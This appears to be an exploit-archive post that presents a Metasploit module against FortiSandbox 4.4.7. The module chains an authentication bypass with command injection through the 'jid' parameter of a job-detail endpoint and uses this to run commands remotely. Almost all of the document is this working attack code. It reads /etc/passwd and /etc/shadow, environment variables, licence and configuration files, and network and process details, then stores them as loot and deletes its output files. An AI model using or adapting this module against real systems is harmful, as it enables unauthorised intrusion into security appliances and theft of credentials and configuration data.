📄 FortiSandbox 4.4.7 Authentication Bypass / Command Injection

==================================================================================================================================
    | # Title     : FortiSandbox 4.4.7 Information Gathering Module                                                                  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://www.fortinet.com/                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary scanner module is designed to collect system and environment information from vulnerable FortiSandbox instances by leveraging two disclosed vulnerabilities: an authentication bypass and a command injection flaw. The module supports multiple collection modes, including system details, network configuration, user-related information, configuration files, platform-specific artifacts, and job metadata. 
                     It automates data collection, reporting, and artifact storage to assist security researchers and defenders in assessment and validation activities.
    
    
    [+] POC        :  
    
    ##
    # Auxiliary module for information gathering
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Report
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
    
      def initialize
        super(
          'Name' => 'FortiSandbox Information Gatherer',
          'Description' => %q{
            This module gathers comprehensive information from vulnerable
            FortiSandbox instances using CVE-2026-39813 (Auth Bypass)
            and CVE-2026-39808 (Command Injection).
          },
          'Author' => ['indoushka'],
          'License' => MSF_LICENSE,
          'References' => [
            ['CVE', '2026-39813'],
            ['CVE', '2026-39808']
          ]
        )
        
        register_options([
          Opt::RPORT(443),
          OptBool.new('SSL', [true, 'Use SSL/TLS', true]),
          OptString.new('TARGETURI', [true, 'Base path', '/']),
          OptEnum.new('INFO_TYPE', [true, 'Type of information to gather', 'all',
            ['all', 'system', 'network', 'users', 'configs', 'forti', 'jobs']])
        ])
      end
    
      def run_host(ip)
        print_status("Gathering information from #{ip}")
        
        case datastore['INFO_TYPE']
        when 'all'
          gather_all_info
        when 'system'
          gather_system_info
        when 'network'
          gather_network_info
        when 'users'
          gather_users_info
        when 'configs'
          gather_configs_info
        when 'forti'
          gather_forti_info
        when 'jobs'
          gather_jobs_info
        end
      end
      
      def execute_cmd(cmd)
        output_file = "tmp_#{rand(10000)}.txt"
        
        injection_payload = "|#{cmd} > /web/ng/#{output_file} 2>&1|"
        encoded_payload = Rex::Text.uri_encode(injection_payload)
        
        exploit_uri = normalize_uri(target_uri.path, 'fortisandbox', 'job-detail', 'tracer-behavior')
        
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => exploit_uri,
          'vars_get' => { 'jid' => encoded_payload },
          'timeout' => 12
        })
        
        Rex.sleep(2)    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'ng', output_file),
          'timeout' => 12
        })
        
        output = res.body if res && res.code == 200
    
        cleanup_cmd = "rm -f /web/ng/#{output_file}"
        cleanup_payload = "|#{cleanup_cmd}|"
        send_request_cgi({
          'method' => 'GET',
          'uri' => exploit_uri,
          'vars_get' => { 'jid' => Rex::Text.uri_encode(cleanup_payload) }
        })
        
        output
      end
      
      def gather_system_info
        print_status("Gathering system information...")
        
        cmds = {
          'uname' => 'uname -a',
          'hostname' => 'hostname',
          'os' => 'cat /etc/os-release 2>/dev/null',
          'uptime' => 'uptime',
          'env' => 'env'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output}")
            report_note(host: rhost, type: "fortisandbox.#{name}", data: output)
          end
        end
      end
      
      def gather_network_info
        print_status("Gathering network information...")
        
        cmds = {
          'interfaces' => 'ip a 2>/dev/null || ifconfig',
          'routes' => 'route -n 2>/dev/null || ip route',
          'connections' => 'netstat -tulnp 2>/dev/null || ss -tulnp',
          'hosts' => 'cat /etc/hosts',
          'iptables' => 'iptables -L -n 2>/dev/null',
          'arp' => 'arp -n 2>/dev/null'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..500]}#{'...' if output.length > 500}")
            report_note(host: rhost, type: "fortisandbox.network.#{name}", data: output)
          end
        end
      end
      
      def gather_users_info
        print_status("Gathering user information...")
        
        cmds = {
          'passwd' => 'cat /etc/passwd',
          'shadow' => 'cat /etc/shadow 2>/dev/null',
          'groups' => 'groups',
          'last_logins' => 'last -a 2>/dev/null',
          'processes' => 'ps aux | head -50',
          'sessions' => 'who -a 2>/dev/null'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..500]}")
            report_note(host: rhost, type: "fortisandbox.users.#{name}", data: output)
            report_cred(username: name) if name == 'passwd'
          end
        end
      end
      
      def gather_configs_info
        print_status("Gathering configuration files...")
        
        configs = [
          '/opt/fortisandbox/conf/',
          '/etc/fortinet/',
          '/data/fortisandbox/conf/',
          '/home/fortisandbox/.config/'
        ]
        
        configs.each do |path|
          cmd = "ls -la #{path} 2>/dev/null"
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("Config directory: #{path}\n#{output}")
    
            find_cmd = "find #{path} -type f -name '*.conf' -o -name '*.cfg' -o -name '*.ini' 2>/dev/null | head -10"
            files = execute_cmd(find_cmd)
            if files
              files.each_line do |file|
                file.strip!
                next if file.empty?
                content = execute_cmd("head -100 #{file} 2>/dev/null")
                if content
                  print_status("Content of #{file}:\n#{content[0..500]}")
                  store_loot("fortisandbox.config", "text/plain", rhost, content, file, "FortiSandbox Config")
                end
              end
            end
          end
        end
      end
      
      def gather_forti_info
        print_status("Gathering FortiSandbox specific information...")
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'system', 'firmware')
        })
        
        if res && res.code == 200
          begin
            json = res.get_json_document
            print_good("FortiSandbox Info via API:")
            json.each do |k, v|
              print_status("  #{k}: #{v}")
            end
            report_note(host: rhost, type: "fortisandbox.api_info", data: json.to_s)
          rescue
          end
        end
        
        cmds = {
          'version' => '/opt/fortisandbox/bin/fortisandbox -v 2>/dev/null',
          'license' => 'cat /data/fortisandbox/license/* 2>/dev/null',
          'jobs' => 'ls -la /data/fortisandbox/jobs/ 2>/dev/null | head -20',
          'logs' => 'ls -la /var/log/fortisandbox/ 2>/dev/null | head -20',
          'quarantine' => 'ls -la /data/fortisandbox/quarantine/ 2>/dev/null | head -20'
        }
        
        cmds.each do |name, cmd|
          output = execute_cmd(cmd)
          if output && !output.empty?
            print_good("#{name.upcase}:\n#{output[0..300]}")
          end
        end
      end
      
      def gather_jobs_info
        print_status("Gathering job information...")
        
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'list')
        })
        
        if res && res.code == 200
          begin
            jobs = res.get_json_document
            print_good("Found #{jobs.size} jobs via API")
            jobs.each do |job|
              print_status("Job: #{job}")
            end
            report_note(host: rhost, type: "fortisandbox.jobs", data: jobs.to_s)
          rescue
    
            output = execute_cmd('ls -la /data/fortisandbox/jobs/ 2>/dev/null')
            print_good("Jobs directory:\n#{output}") if output
          end
        end
      end
      
      def gather_all_info
        gather_system_info
        gather_network_info
        gather_users_info
        gather_configs_info
        gather_forti_info
        gather_jobs_info
        
        print_good("Information gathering completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================